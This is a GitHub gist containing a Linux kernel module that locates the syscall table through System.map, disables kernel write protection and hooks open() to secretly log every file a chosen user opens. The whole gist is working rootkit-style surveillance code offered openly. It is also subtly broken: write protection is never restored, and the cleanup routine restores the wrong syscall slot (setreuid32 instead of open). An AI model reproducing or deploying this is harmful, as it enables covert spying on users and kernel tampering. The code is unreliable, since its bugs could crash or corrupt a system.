Created
May 2, 2012 13:23
-
-
Save 17twenty/2576496 to your computer and use it in GitHub Desktop.
Naughty codes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* syscallReplace.c | |
* Replaces the 'open()' syscall and replaces it with something | |
* that looks for a given UID and reports it if it matches to klog | |
* This makes liberal use of some awesome code from the LKML and a syscall | |
* table finding technique from memset. | |
*/ | |
/* Standard in kernel modules */ | |
#include <linux/init.h> | |
#include <linux/kernel.h> | |
#include <linux/module.h> | |
#include <linux/sched.h> | |
#include <linux/proc_fs.h> | |
#include <linux/syscalls.h> | |
#include <linux/kallsyms.h> | |
#include <asm/unistd.h> | |
#include <linux/kernel.h> | |
#include <linux/init.h> | |
#include <linux/module.h> | |
#include <linux/syscalls.h> | |
#include <linux/file.h> | |
#include <linux/fs.h> | |
#include <linux/fcntl.h> | |
#include <asm/uaccess.h> | |
#include <linux/version.h> | |
#include <linux/syscalls.h> | |
/* For the current (process) structure, we need | |
* this to know who the current user is. */ | |
#include <asm/uaccess.h> | |
#define BOOT_PATH "/boot/System.map-" | |
#define MAX_LEN 256 | |
#define PROC_V "/proc/version" | |
/* In the older kernel versions, we could just extern this and life would be good | |
* but in the newer versions *i believe* we have to search for it... | |
*/ | |
unsigned long *syscall_table; | |
int sys_found = 0; | |
/* UID we want to spy on - will be filled from the | |
* command line */ | |
int uid; | |
module_param(uid, int, 0644); | |
/* We want to store a link to the original call so we can put it back later | |
* but the symbol isn't exported (static) so we need to be awesome */ | |
asmlinkage int (*original_call)(const char *, int, int); | |
/* Use this to sniff UID */ | |
asmlinkage int (*getuid_call)(void); | |
char *search_file(char *buf) { | |
struct file *f; | |
char *ver; | |
mm_segment_t oldfs; | |
oldfs = get_fs(); | |
set_fs (KERNEL_DS); | |
f = filp_open(PROC_V, O_RDONLY, 0); | |
if (IS_ERR(f) || (f == NULL)) { | |
return NULL; | |
} | |
memset(buf, 0, MAX_LEN); | |
vfs_read(f, buf, MAX_LEN, &f->f_pos); | |
ver = strsep(&buf, " "); | |
ver = strsep(&buf, " "); | |
ver = strsep(&buf, " "); | |
filp_close(f, 0); | |
set_fs(oldfs); | |
return ver; | |
} | |
/* Function to find our sysmap location */ | |
static int find_sys_call_table (char *kern_ver) | |
{ | |
char buf[MAX_LEN]; | |
int i = 0; | |
char *filename; | |
char *p; | |
struct file *f = NULL; | |
mm_segment_t oldfs; | |
oldfs = get_fs(); | |
set_fs (KERNEL_DS); | |
filename = kmalloc(strlen(kern_ver)+strlen(BOOT_PATH)+1, GFP_KERNEL); | |
if ( filename == NULL ) { | |
return -1; | |
} | |
memset(filename, 0, strlen(BOOT_PATH)+strlen(kern_ver)+1); | |
strncpy(filename, BOOT_PATH, strlen(BOOT_PATH)); | |
strncat(filename, kern_ver, strlen(kern_ver)); | |
printk(KERN_ALERT "\nPath %s\n", filename); | |
f = filp_open(filename, O_RDONLY, 0); | |
if (IS_ERR(f) || (f == NULL)) { | |
return -1; | |
} | |
memset(buf, 0x0, MAX_LEN); | |
p = buf; | |
while (vfs_read(f, p+i, 1, &f->f_pos) == 1) { | |
if ( p[i] == '\n' || i == 255 ) { | |
i = 0; | |
if ( (strstr(p, "sys_call_table")) != NULL ) { | |
char *sys_string; | |
sys_string = kmalloc(MAX_LEN, GFP_KERNEL); | |
if ( sys_string == NULL ) { | |
filp_close(f, 0); | |
set_fs(oldfs); | |
kfree(filename); | |
return -1; | |
} | |
memset(sys_string, 0, MAX_LEN); | |
strncpy(sys_string, strsep(&p, " "), MAX_LEN); | |
syscall_table = (unsigned long long *) simple_strtoll(sys_string, NULL, 16); | |
kfree(sys_string); | |
break; | |
} | |
memset(buf, 0x0, MAX_LEN); | |
continue; | |
} | |
i++; | |
} | |
filp_close(f, 0); | |
set_fs(oldfs); | |
kfree(filename); | |
return 0; | |
} | |
/* Function we replace the sys_open with. | |
* Prototype gleaned form the source code (open.c) | |
*/ | |
asmlinkage int our_sys_open(const char *filename, | |
int flags, | |
int mode) | |
{ | |
int i = 0; | |
char ch; | |
/* Check if this is the user we're spying on */ | |
if (uid == getuid_call()) { | |
/* getuid_call is the getuid system call, | |
* which gives the uid of the user who | |
* ran the process which called the system | |
* call we got */ | |
/* Report the file, if relevant */ | |
printk("Opened file by %d: ", uid); | |
do { | |
get_user(ch, filename+i); | |
i++; | |
printk("%c", ch); | |
} while (ch != 0); | |
printk("\n"); | |
} | |
/* Call the original sys_open - otherwise, we lose | |
* the ability to open files */ | |
return original_call(filename, flags, mode); | |
} | |
/* Initialize the module - replace the system call */ | |
int __init sysReplace_init_module(void) | |
{ | |
char *kern_ver; | |
char *buf; | |
buf = kmalloc(MAX_LEN, GFP_KERNEL); | |
if (buf == NULL) { | |
sys_found = 1; | |
return -1; | |
} | |
printk(KERN_ALERT "\nHijacking system call\n"); | |
/* Find our kernel */ | |
kern_ver = search_file(buf); | |
if ( kern_ver == NULL ) { | |
sys_found = 1; | |
return -1; | |
} | |
printk(KERN_ALERT "Found Kernel version: %s\n", kern_ver); | |
printk(KERN_ALERT "Searching for syscall_table. Prepare to crash!\n"); | |
if (find_sys_call_table(kern_ver) == -1 ) { | |
sys_found = 1; | |
return -1; | |
} | |
printk("FOUND IT! AWW SHI-\n"); | |
sys_found = 0; | |
write_cr0 (read_cr0 () & (~ 0x10000)); | |
/* Keep the original somewhere safe and patch ours in */ | |
original_call = syscall_table[__NR_open]; | |
syscall_table[__NR_open] = our_sys_open; | |
/* To get the address of the function for system | |
* call foo, go to sys_call_table[__NR_foo]. */ | |
printk("Spying on UID:%d\n", uid); | |
/* Get the system call for getuid */ | |
getuid_call = syscall_table[__NR_getuid]; | |
kfree(buf); | |
return 0; | |
} | |
/* Do cleanup... we try and replace the call... this may go badly */ | |
void __exit sysReplace_cleanup_module(void) | |
{ | |
if ( sys_found == 0 ) { | |
write_cr0 (read_cr0 () & (~ 0x10000)); | |
syscall_table[__NR_setreuid32] = original_call; | |
write_cr0 (read_cr0 () | 0x10000); | |
} | |
} | |
module_init(sysReplace_init_module); | |
module_exit(sysReplace_cleanup_module); | |
MODULE_LICENSE("GPL"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment